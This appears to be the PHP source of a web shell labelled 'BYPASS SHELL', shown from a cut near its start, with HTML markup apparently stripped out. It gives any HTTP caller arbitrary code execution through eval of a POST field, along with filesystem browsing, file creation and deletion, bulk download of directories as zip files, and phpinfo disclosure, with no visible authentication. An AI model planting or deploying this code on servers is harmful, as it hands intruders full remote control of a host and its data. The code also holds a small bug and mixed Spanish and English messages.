addEmptyDir($localname);
}
$this->addTreeInternal($dirname, $localname);
}
protected function addTreeInternal($dirname, $localname)
{
$dir = opendir($dirname);
while ($filename = readdir($dir)) {
if ($filename == '.' || $filename == '..') {
continue;
}
$path = $dirname . '/' . $filename;
$localpath = $localname ? ($localname . '/' . $filename) : $filename;
if (is_dir($path)) {
$this->addEmptyDir($localpath);
$this->addTreeInternal($path, $localpath);
} elseif (is_file($path)) {
$this->addFile($path, $localpath);
}
}
closedir($dir);
}
public static function zipTree($dirname, $zipFilename, $flags = 0, $localname = '')
{
$zip = new self();
$zip->open($zipFilename, $flags);
$zip->addTree($dirname, $localname);
$zip->close();
}
}
}
class SimpleFileManager
{
protected static $basePath;
public static function get_url()
{
if (self::$basePath === null) {
$url = parse_url($_SERVER['REQUEST_URI']);
self::$basePath = $url['path'];
}
return self::$basePath;
}
public static function directoryListing($path)
{
if (empty($path)) {
$path = getcwd() . '/';
}
if ($handle = opendir($path)) {
echo '
';
echo ' + FILE ';
echo ' + DIR';
echo '
';
echo '';
echo '- ..
';
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$entry_full = $path . '/' . $entry;
echo '- ';
if (is_dir($entry)) {
echo ' ';
} else {
echo ' ';
}
echo sprintf('%s', self::get_url(), $entry_full, $entry, $entry);
echo '';
$user = is_callable('posix_getpwuid') ? posix_getpwuid(fileowner($entry)) : fileowner($entry);
$group = is_callable('posix_getgrgid') ? posix_getgrgid(filegroup($entry)) : filegroup($entry);
echo is_array($user) ? $user['name'] : $user, ':', is_array($group) ? $group['name'] : $group;
echo '';
echo self::filePermissions($entry);
echo '';
echo '';
echo self::fileSize($entry);
echo '';
echo '';
echo ' ';
echo ' ';
echo '';
echo '';
echo '';
echo '
';
}
}
closedir($handle);
echo '
';
}
}
public static function processEval()
{
echo '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$evalstr = Params::get('evalstr');
if (!empty($evalstr)) {
echo '';
ob_start();
eval($evalstr);
echo htmlentities(ob_get_clean());
echo '
';
}
}
}
public static function processCreate($path)
{
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$content = Params::get('content');
$f = Params::get('f');
if (!empty($content) && !empty($f)) {
$create_path = $path . '/' . $f;
if (file_exists($create_path)) {
echo 'The specified path already exists.
';
} else {
if (file_put_contents($create_path, $content)) {
echo 'Archive '. $create_path . ' created successfully
';
return;
} else {
echo ' An error occurred while creating the file '. $create_path . '.
';
}
}
} else {
}
}
echo '';
}
private static function pathBreadcrumb($path)
{
$d = explode('/', $path);
$f = '';
$r = '';
foreach ($d as $p) {
if (!empty($p)) {
$f .= '/' . $p;
$r .= sprintf('/%s', self::get_url(), $f, $f, $p);
}
}
$r .= '
';
return $r;
}
public static function fileSize($filename, $decimals = 2)
{
$bytes = filesize($filename);
$sz = 'BKMGTP';
$factor = floor((strlen($bytes) - 1) / 3);
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
}
public static function filePermissions($filename)
{
$p = fileperms($filename);
if (($p & 0xC000) == 0xC000) {
$i = 's';
} elseif (($p & 0xA000) == 0xA000) {
$i = 'l';
} elseif (($p & 0x8000) == 0x8000) {
$i = '-';
} elseif (($p & 0x6000) == 0x6000) {
$i = 'b';
} elseif (($p & 0x4000) == 0x4000) {
$i = 'd';
} elseif (($p & 0x2000) == 0x2000) {
$i = 'c';
} elseif (($p & 0x1000) == 0x1000) {
$i = 'p';
} else {
$i = 'u';
}
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
public static function deleteDir($path)
{
if (empty($path)) {
return false;
}
return is_file($path) ?
@unlink($path) :
array_map(array(__CLASS__, __FUNCTION__), glob($path.'/*')) == @rmdir($path);
}
private static function phpinfo_array()
{
ob_start();
phpinfo();
$i_arr = array();
$i_lines = explode("\n", strip_tags(ob_get_clean(), ""));
$cat = "General";
foreach ($i_lines as $line) {
preg_match("~(.*)~", $line, $title) ? $cat = $title[1] : null;
if (preg_match("~]+>([^<]*) | ]+>([^<]*) | ~", $line, $val)) {
$i_arr[$cat][$val[1]] = $val[2];
} elseif (preg_match("~]+>([^<]*) | ]+>([^<]*) | ]+>([^<]*) | ~", $line, $val)) {
$i_arr[$cat][$val[1]] = array("local" => $val[2], "master" => $val[3]);
}
}
return $i_arr;
}
public static function PHPInfo()
{
$my_array = self::phpinfo_array();
if (is_array($my_array)) {
foreach ($my_array as $k => $v) {
echo '';
echo '' . $k. ' | ';
if (is_array($v)) {
foreach ($v as $kv => $vv) {
echo '';
echo '' . $kv . " | ";
if (isset($vv['local'])) {
echo $vv['local'];
} else {
print_r($vv);
}
echo ' | ';
}
} else {
echo '' . $v . ' | ';
}
echo ' ';
}
return;
}
echo $my_array;
}
public static function run()
{
$path = Params::get('p', getcwd());
$cmd = Params::get('cmd', null);
if (!empty($cmd)) {
switch (strtoupper($cmd)) {
case 'EVAL':
self::processEval();
return;
case 'PHPINFO':
self::PHPInfo();
return;
case 'CREATE-FOLDER':
if ($f = Params::get('f')) {
$create_path = $path . '/' . $f;
if (file_exists($create_path)) {
echo 'La ruta especificada ya existe. ';
} else {
if (mkdir($create_path)) {
echo ' FILE ' . $create_path . ' created successfully. ';
} else {
echo ' Directory ' . $create_path . ' no pudo ser creada. ';
}
}
}
break;
case 'CREATE':
echo self::pathBreadcrumb($path);
self::processCreate($path);
return;
case 'REMOVE':
if (self::deleteDir($path)) {
echo '' . $path . ' file delete success ';
} else {
echo 'An error occurred while deleting ' . $create_path . '. ';
}
$path = dirname($path);
break;
case 'DOWNLOAD':
$path = Params::get('p');
if (!empty($path) && file_exists($path)) {
if (is_dir($path) and class_exists('ZipArchive')) {
$zipname = $path . '.zip';
$zipname = tempnam(sys_get_temp_dir(), basename($path)) . '.zip';
ExtendedZip::zipTree($path, $zipname, ZipArchive::CREATE);
header('Content-Description: File Transfer');
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . str_replace(array('/','\\'), '_', $path) . '.zip"');
header('Content-Transfer-Encoding: binary');
header('Connection: Keep-Alive');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($zipname));
readfile($zipname);
exit;
} else {
$quoted = sprintf('"%s"', addcslashes(basename($path), '"\\'));
$size = filesize($path);
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $quoted);
header('Content-Transfer-Encoding: binary');
header('Connection: Keep-Alive');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . $size);
readfile($path);
exit;
}
}
}
}
if (!empty($path)) {
echo self::pathBreadcrumb($path);
}
if (is_dir($path)) {
self::directoryListing($path);
} elseif (is_file($path)) {
echo ''.htmlentities(file_get_contents($path)).' ';
} else {
echo 'Invalid route: ' . $path . ' ';
self::directoryListing();
}
}
}
ob_start();
SimpleFileManager::run();
$output = ob_get_clean();
?>
BYPASS SHELL
|